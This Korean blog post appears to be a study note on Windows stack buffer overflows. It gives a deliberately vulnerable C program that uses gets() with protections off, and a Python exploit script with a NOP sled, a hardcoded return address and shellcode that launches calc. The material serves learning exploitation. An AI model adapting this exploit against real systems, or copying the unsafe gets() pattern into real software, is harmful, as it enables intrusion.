-
Windows BOF Exploit with ShellcodeHack/Windows 2016. 5. 27. 02:29
windows bof 공부하는데, 쉘코드를 이용해서 계산기를 띄우는것에대해 글을 작성해보려고해요
리눅스에서 오버플로우를 공부하면서 이미 보호기법에대해서는 깨쳤으니 NX, 즉 DEP가 걸려있다면 스택의 실행권한이 존재하지않아 쉘코드가 실행이 불가능하겠죠!
리눅스에서는 ROP가 존재하고, mprotect 함수를 사용할수있었는데, 윈도우즈에서도 마찬가지로 ROP가 존재하고, ROP로 VirtualAlloc 같은 함수로 영역을만들어서 실행권한을 줄수있는 등 공격기법이 존재하더라구요 차차 배우겠지만~
우선 코드는 그냥 gets 함수에서 터지는 코드를 작성해보았어요
#include <stdio.h> int main() { char buf[256]; gets(buf); printf("%s",buf); return 0; }
buffer는 256, 그럼 계산을해보면 256 + ebp + eip 가 되겠죠? 그럼 바로 크래쉬를 띄울수있겠죠! 하지만 저흰 바로쉘코드를 띄울거에요
그냥 우리가 입력해준값이 어디에 들어가나 확인하면되니까 스택주소만 알아내면되죠!
이 컴파일옵션 /GS 즉, SEH가 없는 환경에서 존재하며 DEP,ASLR이 모두 꺼져있는 아주 허접한 바이너리랍니다ㅎ
자 gets 에서 우린 입력을해주고 스택을 확인해볼거에요! 대충 익스코드를 짜보자면 dummy[256] + AAAA + 뒷스택주소 + \x90*?? + shellcode 가 되겠죠?
그럼 스택을 확인해보졍
스택에 입력을 해준대로 쭉 들어갔어요 SEH옵션을 키지않아서 우선 SEH Overflow를 딱히 해주지않아두되구요 걸려있다면 다음에 포스팅하곘지만 jmp offset 을 통해서 넘겨주면된답니다. 물론 DEP가 없을경우에요~
이어서 진행해볼게요
일단 리눅스와동일하게 윈도우즈도 \x90 즉 nop코드가 존재하기때문에 슬레딩을 할수있다는 장점이있어요!
그럼 그냥 저 주소부터 0x0018FF5C 주소뒷쪽에 있으면 쉘코드가 알아서 실행될거에요 익스 코드를 짜볼게요
import struct import os,sys,time from subprocess import * p = lambda x:struct.pack("<L",x) up = lambda x:struct.unpack("<L",x) filename = "overflow.exe" shellcode = "\x55\x8B\xEC\x83\xEC\x48\xC6\x45\xF8\x63\xC6\x45\xF9\x61\xC6\x45\xFA\x6C\xC6\x45\xFB\x63\xC6\x45\xFC\x00\x6A\x01\x8D\x45\xF8\x50\xB8\xF9\x31\x14\x76\xFF\xD0\x6A\x01\x50\xB8\xD8\x79\x0C\x76\xFF\xD0" proc = Popen(filename, stdin=PIPE ) payload = "\x90"*260 payload += p(0x18ffb0) payload += "\x90"*100 payload += shellcode print payload proc.stdin.write(payload)
놉슬레딩을 타주고 쉘코드가 실행될거에요!
실행해보면...
반가운 계산기가 뜨게됩니다
'Hack > Windows' 카테고리의 다른 글
SEH(Structured Exception Handling) (0) 2016.06.01 Windows BOF (ASLR) (0) 2016.06.01 Windows Calc Shellcode (0) 2016.06.01 Windows Shellcode 에러 (0) 2016.05.27 Windows BOF (0) 2016.05.24